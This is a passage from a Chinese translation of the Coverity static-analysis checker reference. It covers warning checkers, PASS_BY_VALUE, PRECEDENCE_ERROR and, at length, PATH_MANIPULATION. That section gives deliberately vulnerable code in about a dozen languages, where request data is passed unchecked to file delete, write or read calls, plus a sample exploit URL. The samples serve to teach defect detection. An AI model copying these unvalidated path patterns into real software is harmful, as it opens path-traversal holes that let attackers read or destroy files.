在您运行 cov-build 时，警告信息会被存储到中间目录中。如果启用了编译警告，各个检查器会在分析过程中将这些警告显示为缺陷。

4.251.1.1. 分析警告 (PW.*)

分析警告可发现各种各样的问题。分析警告可显示代码中的简单问题，也可以提示较复杂的缺陷。分析警告带有 PW 前缀。

分析警告检查器记录在示例配置文件 `<install_dir_sa>/config/parse_warnings.conf.sample` 的注释中。

根据使用频率来判断，Coverity Analysis 的用户发现以下分析警告检查器对定位源错误最有帮助：

```
PW.BAD_INITIALIZER_TYPE  
PW.BRANCH_PAST_INITIALIZATION  
PW.CAST_TO_QUALIFIED_TYPE  
PW.CC_CLOBBER_IGNORED  
PW.CODE_IS_UNREACHABLE  
PW.DEclared_BUT_NOT_REFERENCED  
PW.EMPTY_THEN_STATEMENT  
PW.EXTRA_SEMICOLON  
PW.INCLUDE_RECURSION  
PW.INCOMPATIBLE_ASSIGNMENT_OPERANDS  
PW.INCOMPATIBLE_PARAM  
PW.LOCAL_VARIABLE_HIDDEN  
PW.LOOP_NOT_REACHABLE  
PW.MIXED_ENUM_TYPE  
PW.NOCTOR_BUT_CONST_OR_REF_MEMBER  
PW.NON_CONST_PRINTF_FORMAT_STRING  
PW.NONSTD_EXTRA_COMMAS  
PW.PARAM_SET_BUT_NOT_USED  
PW.PARAMETER_HIDDEN  
PW.PARTIAL_OVERRIDE  
PW.PRINTF_ARG_MISMATCH  
PW.SET_BUT_NOT_USED  
PW.SIGNED_ONE_BIT_FIELD  
PW.SIGNED_UNSIGNED_COMPARISON  
PW.STORAGE_CLASS_NOT_FIRST  
PW.SUBSCRIPT_OUT_OF_RANGE  
PW.TRIGRAPH_IGNORED
```

```
PW.UNDEFINED_PREPROC_ID
PW.UNSIGNED_COMPARE_WITH_ZERO
PW.USED_BEFORE_SET
```

分析错误 (PARSE_ERROR)

- 无法恢复的分析错误的名称为 PARSE_ERROR。如果编译器无法从分析错误中恢复，则整个编译单元都无法进行分析。

4.251.1.2. 恢复警告 (RW.*)

恢复警告带有 RW 前缀。该 Coverity 编译器可从一些分析错误中恢复。如果分析错误无法恢复，请参阅 PARSE_ERROR。导致分析错误的函数不会得到分析。当编译器恢复后，恢复行中会出现恢复警告。对于无法进行分析的函数，也会显示 RW.ROUTINE_NOT_EMITTED 恢复警告。

4.251.1.3. 语义警告 (SW.*)

该编译器遇到了非标准代码，但可以提供接近于代码本意的合理猜测。语义警告可以指明代码不可移植或可能很容易被其他开发人员误解。如果 Coverity 对代码的解释与本机编译器的相应解释不同，语义警告还可能导致精确度降低。Coverity 建议修复语义警告。语义警告带有 SW 前缀。

4.251.1.3.1. SW.INCOMPLETE_TYPE_NOT_ALLOWED

如果 type-id 的类型是类类型或对类类型的引用，并且类未完全定义，则 SW.INCOMPLETE_TYPE_NOT_ALLOWED 警告会报告此类情况。

4.251.2. 示例

本部分提供了一个或多个 PW 示例。

PW.INCLUDE_RECURSION 警告报告可能导致代码无法编译或导致不正确运行时行为的递归头文件问题。如果包含的两个头文件中存在依赖循环，则代码可能无法编译。例如，函数重载可能导致不正确的运行时行为。此外，递归包括文件可能难以维护，并且相关问题很难修复。

例如，下面的头文件 a.h 和 b.h 通过 c.cc 包括在内。

```
// a.h
#ifndef A_H           // multiple-inclusion guard
#define A_H
#include "b.h"        // class B, print(B*)
class A {
public:
    B *b;
    void pb() { print(b); }
};

void print(A *) { printf("print(A*)"); }
#endif // A_H

// b.h
```

```
#ifndef B_H
#define B_H
#include "a.h"      // class A, print(A*)
class B {
public:
    A *a;
    void pa() { print(a); }
};

void print(B *) { printf("print(B*)"); }
#endif // B_H
```

下面的代码 c.cc 不会进行编译，因为 b.h 包括 a.h (定义类 A)，但由于存在依赖循环，因此只能首先处理类 A 或类 B 中的一个，此时其他类必须未定义。

```
// c.cc
#include <stdio.h> // printf
void print(void *) { printf("print(void*)"); }
#include "a.h"      // class A
#include "b.h"      // class B
int main()
{
    (new A)->pb();
    (new B)->pa();
    return 0;
}
```

如果您尝试使用 gcc 4.1.1 编译此代码，您将会收到以下混淆错误：

```
b.h:8: error: ISO C++ forbids declaration of 'A' with no type
b.h:8: error: expected ';' before '*' token
```

如果您为类 A 添加以下前向声明，代码将会进行编译，但您会得到意外输出。

```
// b.h
#ifndef B_H
#define B_H
#include "a.h"      // class A, print(A*)
class A; //forward declaration
class B {
public:
    A *a;
    void pa() { print(a); }
};

void print(B *) { printf("print(B*)"); }
#endif // B_H
```

您原本期望程序打印以下输出：

```
print(B*)
```

```
print(A*)
```

但实际上打印了以下输出，这是因为 `print(A*)` 仍然不可见，但 `print(void*)` 可见，因此该函数被选作 `B::pa` 的实现：

```
print(B*)
print(void*)
```

如果您在 `include` 结构中避免循环，则这些问题都可以修复。`PW_INCLUDE_RECURSION` 警告可查找此类循环。

4.251.3. 事件

本部分描述了 `PW` 检查器生成的一个或多个事件。

- 主要事件：警告文本，显示在导致相应警告的问题行上方。
- 主要文件事件：如果警告显示在不同的文件中，则是指被编译文件的名称。此事件（如果存在）紧接在主要事件之后。
- 脱字行：触发警告的列中的脱字号字符 (^)。此事件显示在导致相应警告的代码行下方。

4.252. PASS_BY_VALUE

质量检查器

4.252.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`PASS_BY_VALUE` 查找函数参数的类型太大（默认情况下超过 128 字节）的情况。要避免此缺陷，应该将此类参数作为指针（在 C 中）或作为引用（在 C++ 中）传递。该检查器不会将写入到参数报告为缺陷，因为此类写入可能是特意为之。但是，对于 C++ 代码，如果 pass-by-value 异常对象的 `catch` 语句大于 64 个字节，该检查器一定会报告缺陷。

通过值传递并不一定是缺陷，但由于复制的数据量可能导致性能下降。您可以使用这些检查器选项调整决定何时报告错误的阈值（请参阅Section 4.252.3，“选项”）。

虽然绝不应报告错误的 `pass-by-value`，但传递的大小可能不够大，因而无法保证一定能更改相关代码。如果情况如此，您可以使用代码行注解抑制 `pass_by_value` 事件。

默认启用：`PASS_BY_VALUE` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.252.2. 示例

本部分提供了一个或多个 `PASS_BY_VALUE` 示例。

```
struct big {
    int a[20];
    int b[20];
```

```

    int c[20];
};

void test(big b) { // Warning: passing by value, 240 bytes
}

struct exn {
    const char str[128];
    int code;
};

void foo() {
    try {
        //...
    } catch(exn e) { // Warning, catch by value, 132 bytes
        //...
    }
}

```

4.252.3. 选项

本部分描述了一个或多个 `PASS_BY_VALUE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `PASS_BY_VALUE:catch_threshold:<bytes>` - 此选项用于指定 `catch` 参数的最大长度。当 `catch` 参数较大时，该检查器将会报告缺陷。默认值为 `PASS_BY_VALUE:catch_threshold:64` (64 字节)。
- `PASS_BY_VALUE:size_threshold:<bytes>` - 此选项用于指定函数参数的最大长度的低阈值。当参数较大 (且低于 `medium_size_threshold`) 时，该检查器将报告属于 `exceeds_low_threshold` 子类别的缺陷。默认值为 `PASS_BY_VALUE:size_threshold:128` (128 字节)。
- `PASS_BY_VALUE:medium_size_threshold:<bytes>` - 此选项用于指定函数参数的最大长度的中等阈值。当参数较大 (且低于 `high_size_threshold`) 时，该检查器将报告属于 `exceeds_medium_threshold` 子类别的缺陷。默认值为 `PASS_BY_VALUE:medium_size_threshold:256` (256 字节)。
- `PASS_BY_VALUE:high_size_threshold:<bytes>` - 此选项用于指定函数参数的最大长度的高阈值。当参数较大时，该检查器将报告属于 `exceeds_high_threshold` 子类别的缺陷。默认值为 `PASS_BY_VALUE:high_size_threshold:512` (512 字节)。
- `PASS_BY_VALUE:unmodified_threshold:<bytes>` - 此选项用于指定未在函数内修改的函数参数的最大长度。当未修改的参数较大时，该检查器将会报告缺陷。默认值为 `PASS_BY_VALUE:unmodified_threshold:128` (128 字节)。

4.252.4. 事件

本部分描述了 `PASS_BY_VALUE` 检查器生成的一个或多个事件。

- `pass_by_value` : 通过值将大对象（默认大于 128 字节）传递给了函数，或者通过值捕获了大对象。

4.253. PATH_MANIPULATION

安全检查器

4.253.1. 概述

支持的语言：C、C++、C#、Go、Java、Kotlin、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Swift、TypeScript、Visual Basic

`PATH_MANIPULATION` 可检测通过不安全的方式构造文件名或路径的很多情况。

对文件名或路径的一部分拥有控制权的攻击者可能能够恶意篡改整个路径，以及访问、修改或测试关键或敏感文件的存在。需要特别关注的是在路径（例如 `../`）中执行目录遍历或者指定绝对路径的能力。

这些类型的漏洞可以通过适当的输入验证来阻止。应该将用户输入添加到允许清单中，以确保仅包含预期的值或字符。

`PATH_MANIPULATION` 检查器使用全局信任模型确定是否信任 servlet 输入、网络数据、文件系统数据或数据库信息。您可以使用 cov-analyze 的 `--trust-*` 和/或 `--distrust-*` 选项修改当前设置。

默认禁用：`PATH_MANIPULATION` 默认对 C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、TypeScript 和 Visual Basic 禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

默认启用对于 Go、Kotlin、Ruby 和 Swift，`PATH_MANIPULATION` 默认启用。

- Web 应用程序安全检查器启用：要启用 `PATH_MANIPULATION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。
- Android 安全检查器启用：要与其他 Java Android 安全检查器（非安全）一起启用 `PATH_MANIPULATION`，请在 cov-analyze 命令中使用 `--android-security` 选项。
- 安全检查器启用：要与其他安全检查器一起启用 `PATH_MANIPULATION`，请在 cov-analyze 命令中使用 `--security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

4.253.2. 缺陷剖析

`PATH_MANIPULATION` 缺陷说明了不可信（被污染）数据用于构造文件名、文件系统路径或 URI 的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何流过程序，例如从函数调用的参数到被调用函数的参数。数据流路径的最终部分表示文件系统 API 中使用的被污染字符串。如果没有恰当的验证，数据可能导致程序读取、泄露相关信息、写入、删除、移动或以其他方式修改意外文件。

4.253.3. 示例

本部分提供了一个或多个 `PATH_MANIPULATION` 示例。

4.253.3.1. C、C++

下面的示例说明了使用网络中的被污染数据作为不安全文件路径的漏洞。`xmlFreeDoc` 和 `xmlParseFile` 函数来自 `libxml` 库。在开头为 `xmlDocPtr freedDocPtr` 的行中发生 `PATH_MANIPULATION` 缺陷。

```
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>

void xmlFreeDoc(xmlDocPtr cur);
xmlDocPtr xmlParseFile(const char *filename);

void getXml(int socket)
{
    char path[1024];
    if (recv(socket, path, sizeof(path), 0) > 0) {
        xmlDocPtr freedDocPtr = xmlParseFile(path);
        xmlFreeDoc(freedDocPtr);
    }
}
```

4.253.3.2. C#

下面的示例说明了使用 HTTP 请求参数构造不安全文件路径的漏洞。

```
using System;
using System.IO;
using System.Web;

public class PathManipulation {

    void Test(WebRequest req) {

        String attachment = req["attachment"];
        File.Delete(@"c:\tmp\attachments\" + attachment);
            //Defect
    }
}
```

4.253.3.3. Go

以下示例显示了一个处理 HTTP 请求的 `PATH_MANIPULATION` 漏洞。这里，`toDelete` 参数不安全地用作删除路径。

```
package main

import "net/http"
import "os"

func Test(req http.Request) {
```

```
toDelete := req.URL.Query().Get("toDelete")
os.Remove(toDelete) // defect here
}
```

4.253.3.4. Java

下面的示例说明了 Spring 3 控制器中的 PATH_MANIPULATION 漏洞。在此处，使用了 user 参数构造并写入了不安全路径。

```
@Controller
class MyController {

    private final String WEBDATA_ROOT = "/home/www/data/";

    @RequestMapping("/log_success")
    public String logSuccessHandler(@RequestParam("user") String user) {
        String loc = WEBDATA_ROOT + "logs/" + user;
        try (FileWriter fw = new FileWriter(loc, true)) {
            fw.write("Success: " + new Date() + "\n");
        } catch (IOException e) { }
        return "redirect:/";
    }
}
```

4.253.3.5. JavaScript

下面的代码示例说明了使用 Express 框架的易受攻击 Node.js Web 应用程序。

```
const express = require("express");
const app = express();

app.get("/", 
    function run(req, res, next) { // Defect here.
        const file = req.query.file;
        const data = new Date() + " : " + req.query.data;
        require("fs").appendFile(
            file, // attacker-controlled data used to determine file name
            data,
            (err) => {
                console.log(`Append to '${file}' ` +
                    (err ? `failed: ${err}` : 'succeeded.'));
            });
        res.send("Done");
    });
app.listen(1337, function() {
    console.log("Express listening..."));
});
```

利用示例：

```
http://127.0.0.1:1337/?file=example&data=anything+you+want
```

4.253.3.6. Kotlin

以下示例显示了一个处理 HTTP 请求的 PATH_MANIPULATION 漏洞。这里，attachment 参数不安全地用作创建 File 对象的路径。

```
import java.io.File
import javax.servlet.http.HttpServletRequest
import java.io.*

class PathManipulation {
    fun test(req: HttpServletRequest) {
        val attachment = req.getParameter("attachment")
        var f = File(attachment)
        f.deleteRecursively()
    }
}
```

4.253.3.7. PHP

下面的示例说明了使用 HTTP 请求参数构造不安全目录名称的漏洞。

```
<?php

$user = $_GET['username'];
$dir_name = "$user-pictures";
eio_mkdir($dir_name, 0300, EIO_PRI_DEFAULT); // Defect here

?>
```

4.253.3.8. Python

下面的 Python 代码（使用 Django 框架）允许来自 HTTP 请求的被污染数据确定要更改为的目录。

```
import os
from django.conf.urls import url

def django_view(request):
    os.chdir(request.body);

urlpatterns = [
    url(r'^index$', django_view)
]
```

4.253.3.9. Ruby

以下 Ruby on Rails 代码展示了使用 HTTP 请求参数作为文件路径一部分来删除文件，而不进行验证的情况。

```
class ExampleController < ApplicationController
  def delete
```

```
File.delete(File.join("tmp", params[:name]))
end
end
```

4.253.3.10. Swift

下面的示例展示了数据库不受信任时的缺陷。

```
import Foundation
import UIKit

class ViewController: UIViewController {

    @IBOutlet weak var userText: UITextField!

    @IBAction func pressedButton(_ sender: Any) {
        let d : Data = FileManager.default.contents(atPath:userText.text!)!      // Defect
        print(d)
    }

    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view, typically from a nib.
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }
}
```

4.253.3.11. Visual Basic

下面的 Visual Basic 示例说明了使用 HTTP 请求参数删除文件的漏洞。用户完全控制要删除的文件的路径。

```
Sub DeleteUnsafeFile(request As HttpRequest)

    ' Read untrusted data from a user HTTP request
    Dim untrusted as String = request("delete_file")

    ' Delete a file without any check
    File.delete(untrusted) 'DEFECT

End Sub
```

在下一个示例中，用户控制的字符串不能包含路径遍历字符，因此文件名仅限于预期的文件系统目录。未报告缺陷。

```
Sub DeleteSafeFile(request As HttpRequest)
```

```

' Read untrusted data from a user HTTP request
Dim id as String = request("file_id")

' Check that the suffix does not contain any directory traversal
If Not id.Contains("\") Then
    File.delete("C:\Users\Coverity\Data_"+id+".dat") 'SAFE
End If

End Sub

```

4.253.4. 模型和注解

4.253.4.1. C#、Visual Basic、Java

模型和注解可以在以下情况下改进通过此检查器执行的分析：

- 如果分析由于未将某些数据视为被污染而漏报了缺陷，请参阅对 `Tainted` 注解的讨论（对于 C#，请参考 Section 5.2.2.1，“`和 属性`”；对于 Java，请参考 `@Tainted` 和 `@NotTainted` 注解）。此外，有关将方法返回值、参数和字段标记为被污染的说明，请参阅 Section 5.2.1.2，“`为不可信 (被污染的) 数据源建模`”（对于 C# 和 Visual Basic）或 Section 5.4.1.3，“`为不可信 (被污染的) 数据源建模`”（对于 Java）。
- 如果分析由于它将字段视为被污染而发生误报，并且您认为被污染的数据不会流入该字段，请参考`[NotTainted] / <NotTainted()>`属性（对于 C# 和 Visual Basic）或（对于 Java）。

另请参阅 Section 5.4.1.5，“添加字段被污染或未被污染的断言”。有关一般模型和注解的更多信息，请参考 Section 5.2，“C# 或 Visual Basic 中的模型和注解”或 Section 5.4，“Java 模型和注解”。

4.253.4.2. C、C++、Objective C、Objective C++

使用 `cov-make-library`，您可以使用以下 Coverity Analysis 原语为 `PATH_MANIPULATION` 创建自定义模型。

以下模型表明 `custom_touch()` 对于参数 `path` 是污染数据消费者（类型为 `PATH`）：

```

void custom_touch(const char *path)
{ __coverity_taint_sink__(path, PATH); }

```

您可以使用 `__coverity_mark_pointee_as_tainted__` 建模原语为污染源建模。例如，以下模型表明，`packet_get_string()` 从网络返回了被污染的字符串：

```

void *packet_get_string() {
    void *ret;
    __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
    return ret;
}

```

下面的模型表明，当 `s` 参数无效时（因此不应再将其视为被污染），`custom_sanitize()` 会返回 `true`。如果 `s` 参数无效，`custom_sanitize()` 会返回 `false`，并且分析会继续将 `s` 记录为被污染：

```
bool custom_sanitize(const char *s) {
    bool ok_string;
    if (ok_string == true) {
        __coverity_mark_pointee_as_sanitized__(s, PATH);
        return true;
    }
    return false;
}
```

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[ +taint_sanitize : arg-*0 ]
void custom_sanitize(char* s) {...}
```

- `+taint_source`（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 返回了被污染的字符串值：

```
// coverity[ +taint_source ]
char* packet_get_string() {...}
```

- `+taint_source`（含有参数）：指明函数污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容：

```
// coverity[ +taint_source : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



Note

`taint_source` 函数注解与以下这些检查器一起运行：

FORMAT_STRING_INJECTION、HEADER_INJECTION、OS_CMD_INJECTION、PATH_MANIPULATION、SO 和 XPATH_INJECTION。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[ -taint_sanitize : arg-*0 ]
void custom_sanitize(char* s) {...}
```

- `-taint_source`（没有参数）：指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[ -taint_source ]
```

```
char* packet_get_string() { ... }
```

- `-taint_source` (含有参数) : 指明函数不污染指定字符串参数的内容。例如 , 下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容 :

```
// coverity[ -taint_source : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) { ... }
```

4.253.4.3. Go

在 Go 中 , 原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义 , 并使用 `Interface` 作为参数 ; 例如 :

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_path_function(data interface{}) {
    PathSink(data);
}
```

如果 `injecting_into_path_function()` 的参数来自不可信来源 , `PathSink()` 原语将指示 `PATH_MANIPULATION` 报告缺陷。

4.253.5. 选项

本部分描述了一个或多个 `PATH_MANIPULATION` 选项。

您可以设置特定检查器选项值 , 方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息 , 请参阅《Coverity 命令说明书》。

- `PATH_MANIPULATION:distrust_all:<boolean>` - [C、C+
+、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `PATH_MANIPULATION:distrust_all:false`。

如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high` , 则该检查器选项会自动设置为 `true` 。 (JavaScript、Kotlin、PHP、Python、Swift)

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `high` , 则该检查器选项会自动设置为 `true` (适用于 C 和 C++) 。

- `PATH_MANIPULATION:trust_command_line:<boolean>` - [C、C+
+、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `PATH_MANIPULATION:trust_command_line:true` (适用于所有语言) 。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `PATH_MANIPULATION:trust_console:<boolean>` [C、C+
+、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用

程序安全选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 PATH_MANIPULATION:trust_console:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。

- PATH_MANIPULATION:trust_cookie:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 PATH_MANIPULATION:trust_cookie:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- PATH_MANIPULATION:trust_database:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 PATH_MANIPULATION:trust_database:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- PATH_MANIPULATION:trust_environment:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 PATH_MANIPULATION:trust_environment:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- PATH_MANIPULATION:trust_filesystem:<boolean> [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 PATH_MANIPULATION:trust_filesystem:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- PATH_MANIPULATION:trust_http:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP 和 Python、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 PATH_MANIPULATION:trust_http:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- PATH_MANIPULATION:trust_http_header:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 PATH_MANIPULATION:trust_http_header:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- PATH_MANIPULATION:trust_mobile_other_app:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 PATH_MANIPULATION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- PATH_MANIPULATION:trust_mobile_other_privileged_app:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将以下数

据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 PATH_MANIPULATION:trust_mobile_other_privileged_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。

- PATH_MANIPULATION:trust_mobile_same_app:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 PATH_MANIPULATION:trust_mobile_same_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- PATH_MANIPULATION:trust_mobile_user_input:<boolean> - [仅限 JavaScript、Kotlin、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 PATH_MANIPULATION:trust_mobile_user_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- PATH_MANIPULATION:trust_network:<boolean> [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 PATH_MANIPULATION:trust_network:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- PATH_MANIPULATION:trust_rpc:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 PATH_MANIPULATION:trust_rpc:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- PATH_MANIPULATION:trust_system_properties:<boolean> - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 PATH_MANIPULATION:trust_system_properties:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

4.254. PMD.*

安全检查器

4.254.1. 概述

支持的语言：. Apex

Coverity 支持 PMD 6.34.0，后者可以通过 cov-analyze 命令分析 Apex 和 SalesForce VisualForce。启用 PMD.* 检查器后，Coverity Analysis 会查找 Apex 和 SalesForce VisualForce 代码中的程序缺陷（缺陷）。Coverity 使用 PMD.*<rulename> 格式报告程序缺陷。

像其他缺陷一样，PMD.* 程序缺陷也显示在您用于运行 cov-analyze 的控制台输出中，以及您通过 cov-commit-defects 命令提交至 Coverity Connect 的缺陷中。

默认启用：PMD.* 检查器默认启用。要禁用 PMD.* 检查器，请使用 --disable-PMD.* 选项。

有关 PMD Apex 和 SalesForce VisualForce 规则集的更多信息，请参阅 <https://pmd.github.io/latest/index.html>

4.255. PRECEDENCE_ERROR

质量检查器

4.255.1. 概述

支持的语言：. C、C++、CUDA

PRECEDENCE_ERROR 检查器报告了按优先顺序应用两个相邻运算符的情况，但上下文表明它们是按相反顺序应用的。通过插入括号来澄清运算符和操作数的分组修复了该缺陷（或误报报告）。

在可疑表达式处，检查器的主事件将显示一个插入括号的等效表达式，以澄清运算符分组。在更正建议中，检查器将提出一个具有不同操作数分组的不同表达式。如图所示，通过重写带括号的表达式修复了此缺陷。（如果该缺陷是误报，您可能仍需要考虑添加括号。这将使静态分析工具和人员清楚地了解您的意图。）

对于此检查器关注的运算符，该语言定义了如下优先级：

Table 4.2.

	运算符
较高优先级	算术：* / %
	算术：+ -
	按位移位：<< >>
	不等式：> >= < <=
	等式：== !=
	按位与：&
	按位异或：^
	按位或：
	逻辑与：&&
	逻辑或：
	三元表达式：?:

	运算符
较低优先级	赋值 : = += -= *= /= %= <<= >>= &= ^= =

PRECEDENCE_ERROR 检查器默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.255.2. 示例

本部分提供了一个或多个 PRECEDENCE_ERROR 示例。

以下示例的计算顺序为 `(offset + isWider) ? 8 : 4`，因为 + 运算符的优先级高于 ?:。这是一个缺陷，因为作者的意图是 `offset + (isWider ? 8 : 4)`。

```
int bug1(int offset, bool isWider) {
    return offset + isWider ? 8 : 4;
}
```

以下示例的计算顺序为 `(mask == fENABLE_NET) | fENABLE_DISK`，因为 == 运算符的优先级高于 |。这是一个缺陷，因为作者的意图是将 mask 与按位运算的结果进行比较。这个特殊情况也是一个 CONSTANT_EXPRESSION_RESULT 缺陷。

```
#define fENABLE_NET 0x02
#define fENABLE_DISK 0x04

bool bug2(int mask) {
    return mask == fENABLE_NET | fENABLE_DISK;
}
```

以下示例的计算顺序为 `err = (doOperation() < 0)`，因为 < 运算符的优先级高于 =。这是一个缺陷，因为作者的意图是将特定的负错误代码存储在变量中：`(err = doOperation()) < 0`。

```
int bug3() {
    int err;
    // ...
    if (err = doOperation() < 0)
    {
        cout << "Error code " << err << endl;
        return err;
    }
}
```

4.256. PREDICTABLE_RANDOM_SEED

安全检查器

4.256.1. 概述

支持的语言：. Java、Kotlin

PREDICTABLE_RANDOM_SEED 在种子被用于构造安全随机数生成器 (RNG) 以及 RNG 的输出被用于加密目的时报告缺陷。种子可以是常量（例如常量字符串或整数）或 `java.lang.System.currentTimeMillis` 或 `java.util.Date.getTime` 返回的系统时间。由于很多安全 RNG 使用伪随机数生成器实现，因此使用此类种子构造 RNG 会导致将输出用于加密目的无效。

- 默认禁用：PREDICTABLE_RANDOM_SEED 默认对 Java 禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要同时启用 PREDICTABLE_RANDOM_SEED 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

Android 安全检查器启用：要同时启用 PREDICTABLE_RANDOM_SEED 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 `--android-security` 选项。

- 默认启用：PREDICTABLE_RANDOM_SEED 默认对 Kotlin 启用。

4.256.2. 缺陷剖析

